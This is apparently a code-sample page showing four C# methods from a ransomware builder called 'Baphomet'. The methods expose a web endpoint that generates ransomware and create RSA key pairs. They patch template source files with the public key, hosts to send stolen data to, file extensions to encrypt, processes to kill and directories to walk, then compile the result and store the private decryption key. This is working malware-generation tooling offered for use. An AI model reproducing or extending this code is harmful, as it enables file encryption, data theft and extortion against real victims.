Example #1
0
        public async Task <IActionResult> GenerateRansomware([FromQuery] GenerateRansomwareDTO model)
        {
            AppResult result = new AppResult();

            try
            {
                if (model != null)
                {
                    result = await _service.CreateRansomware(model);
                }
            }
            catch (Exception ex)
            {
                result.success = false;
                result.message = ex.Message;
            }
            return(Json(result));
        }
Example #2
0
        public async Task <AppResult> CreateRansomware(GenerateRansomwareDTO model)
        {
            AppResult result = new AppResult();

            try
            {
                model.HostsList.AddRange(model.Hosts.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray());
                model.ExtensionsList.AddRange(model.Extensions.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray());
                model.ProcessesList.AddRange(model.Processes.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray());
                model.DirsList.AddRange(model.Dirs.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray());

                var rsa_keys = GenerateRsaKeys();
                model.PublicKey = rsa_keys.PublicKey;

                var edit_ransomware = await EditBaphometFiles(model);

                if (edit_ransomware.success == true)
                {
                    Ransomware ransomware = new Ransomware()
                    {
                        Name        = model.Name,
                        Description = model.Description,
                        ReleaseDate = DateTime.Now,
                        PublicKey   = rsa_keys.PublicKey,
                        PrivateKey  = rsa_keys.PrivateKey
                    };
                    _context.Ransomware.Add(ransomware);
                    await _context.SaveChangesAsync();

                    result.message = "Your ransomare has been compiled successfully!";
                }
            }
            catch (Exception ex)
            {
                result.success = false;
                result.message = ex.Message;
            }
            return(result);
        }
Example #3
0
        public async Task <AppResult> DrawParameters(string file_path, string file, string refence_value, GenerateRansomwareDTO model)
        {
            AppResult result = new AppResult();

            try
            {
                var      file_location = Path.Combine(file_path, file);
                string[] file_content  = File.ReadAllLines(file_location);

                switch (file)
                {
                //Pego la llave publica que cifra la llave simetrica.
                case "CryptRSA.cs":

                    for (var i = 0; i < file_content.Length; i++)
                    {
                        if (file_content[i].Contains(refence_value))
                        {
                            file_content[i] = file_content[i].Replace(refence_value, model.PublicKey);
                        }
                    }
                    File.WriteAllLines(file_location, file_content);
                    break;

                //Pego la lista host a los cuales el ransomware buscara enviar la info.
                case "NetInfo.cs":

                    var hostlist_string = "";
                    refence_value = '"' + refence_value + '"';

                    foreach (var host in model.HostsList)
                    {
                        hostlist_string = hostlist_string + '"' + host.ToString() + '"' + ',';
                    }
                    hostlist_string = hostlist_string.Remove(hostlist_string.LastIndexOf(","), ",".Length);

                    for (var i = 0; i < file_content.Length; i++)
                    {
                        if (file_content[i].Contains(refence_value))
                        {
                            file_content[i] = file_content[i].Replace(refence_value, hostlist_string);
                        }
                    }
                    File.WriteAllLines(file_location, file_content);
                    break;

                //Pego las extensiones que deseo cifrar.
                case "Crypt.cs":
                    var extensions_list_string = "";
                    refence_value = '"' + refence_value + '"';

                    foreach (var extension in model.ExtensionsList)
                    {
                        extensions_list_string = extensions_list_string + '"' + extension.ToString() + '"' + ',';
                    }
                    extensions_list_string = extensions_list_string.Remove(extensions_list_string.LastIndexOf(","), ",".Length);

                    for (var i = 0; i < file_content.Length; i++)
                    {
                        if (file_content[i].Contains(refence_value))
                        {
                            file_content[i] = file_content[i].Replace(refence_value, extensions_list_string);
                        }
                    }
                    File.WriteAllLines(file_location, file_content);

                    break;

                //Pego los procesos que deseo matar para cifrar archivos abiertos
                case "Diagnostics.cs":

                    var processes_list_string = "";
                    refence_value = '"' + refence_value + '"';

                    foreach (var process in model.ProcessesList)
                    {
                        processes_list_string = processes_list_string + '"' + process.ToString() + '"' + ',';
                    }
                    processes_list_string = processes_list_string.Remove(processes_list_string.LastIndexOf(","), ",".Length);

                    for (var i = 0; i < file_content.Length; i++)
                    {
                        if (file_content[i].Contains(refence_value))
                        {
                            file_content[i] = file_content[i].Replace(refence_value, processes_list_string);
                        }
                    }
                    File.WriteAllLines(file_location, file_content);

                    break;

                //Pego los directoros que el ransomware recorrera.
                case "Program.cs":
                    var dirs_list_string = "";
                    refence_value = '"' + refence_value + '"';

                    foreach (var dir in model.DirsList)
                    {
                        dirs_list_string = dirs_list_string + '"' + dir.ToString() + '"' + ',';
                    }
                    dirs_list_string = dirs_list_string.Remove(dirs_list_string.LastIndexOf(","), ",".Length);

                    for (var i = 0; i < file_content.Length; i++)
                    {
                        if (file_content[i].Contains(refence_value))
                        {
                            file_content[i] = file_content[i].Replace(refence_value, dirs_list_string);
                        }
                    }
                    File.WriteAllLines(file_location, file_content);

                    break;
                }
            }
            catch (Exception ex)
            {
                result.success = false;
                result.message = ex.Message;
            }
            return(result);
        }
Example #4
0
        public async Task <AppResult> EditBaphometFiles(GenerateRansomwareDTO model)
        {
            AppResult result = new AppResult();

            try
            {
                var           getpath     = Directory.GetCurrentDirectory();
                DirectoryInfo fullpath    = new DirectoryInfo(getpath);
                var           main_path   = fullpath.Parent.FullName;
                var           output_path = Path.Combine(main_path, "Tools", "output", "Baphomet");
                main_path = Path.Combine(main_path, "Tools", "Baphomet");

                DirectoryInfo sourceDir      = new DirectoryInfo(main_path);
                DirectoryInfo destinationDir = new DirectoryInfo(output_path);

                CopyDirectory(sourceDir, destinationDir);
                var draw_rsa_key = await DrawParameters(Path.Combine(output_path, "Utilities"), "CryptRSA.cs", "<public key here>", model);

                var draw_host_list = await DrawParameters(Path.Combine(output_path, "Utilities"), "NetInfo.cs", "<host list here>", model);

                var draw_extensions = await DrawParameters(Path.Combine(output_path, "Utilities"), "Crypt.cs", "<extensions list here>", model);

                var draw_processes = await DrawParameters(Path.Combine(output_path, "Utilities"), "Diagnostics.cs", "<processes list here>", model);

                var draw_dirs = await DrawParameters(output_path, "Program.cs", "<dirs list here>", model);

                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                {
                    if (draw_rsa_key.success == true && draw_host_list.success == true && draw_extensions.success == true && draw_processes.success == true && draw_dirs.success == true)
                    {
                        var strCmdText = "/K cd " + output_path + " & compile.bat";
                        Process.Start("CMD.exe", strCmdText).WaitForExit();
                    }
                }

                if (RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
                {
                    if (draw_rsa_key.success == true && draw_host_list.success == true && draw_extensions.success == true && draw_processes.success == true && draw_dirs.success == true)
                    {
                        var command = "cd " + output_path + " && bash compile.bat";

                        Process proc = new System.Diagnostics.Process();
                        proc.StartInfo.FileName               = "/bin/bash";
                        proc.StartInfo.Arguments              = "-c \" " + command + " \"";
                        proc.StartInfo.UseShellExecute        = false;
                        proc.StartInfo.RedirectStandardOutput = true;
                        proc.Start();

                        while (!proc.StandardOutput.EndOfStream)
                        {
                            Console.WriteLine(proc.StandardOutput.ReadLine());
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                result.success = false;
                result.message = ex.Message;
            }
            return(result);
        }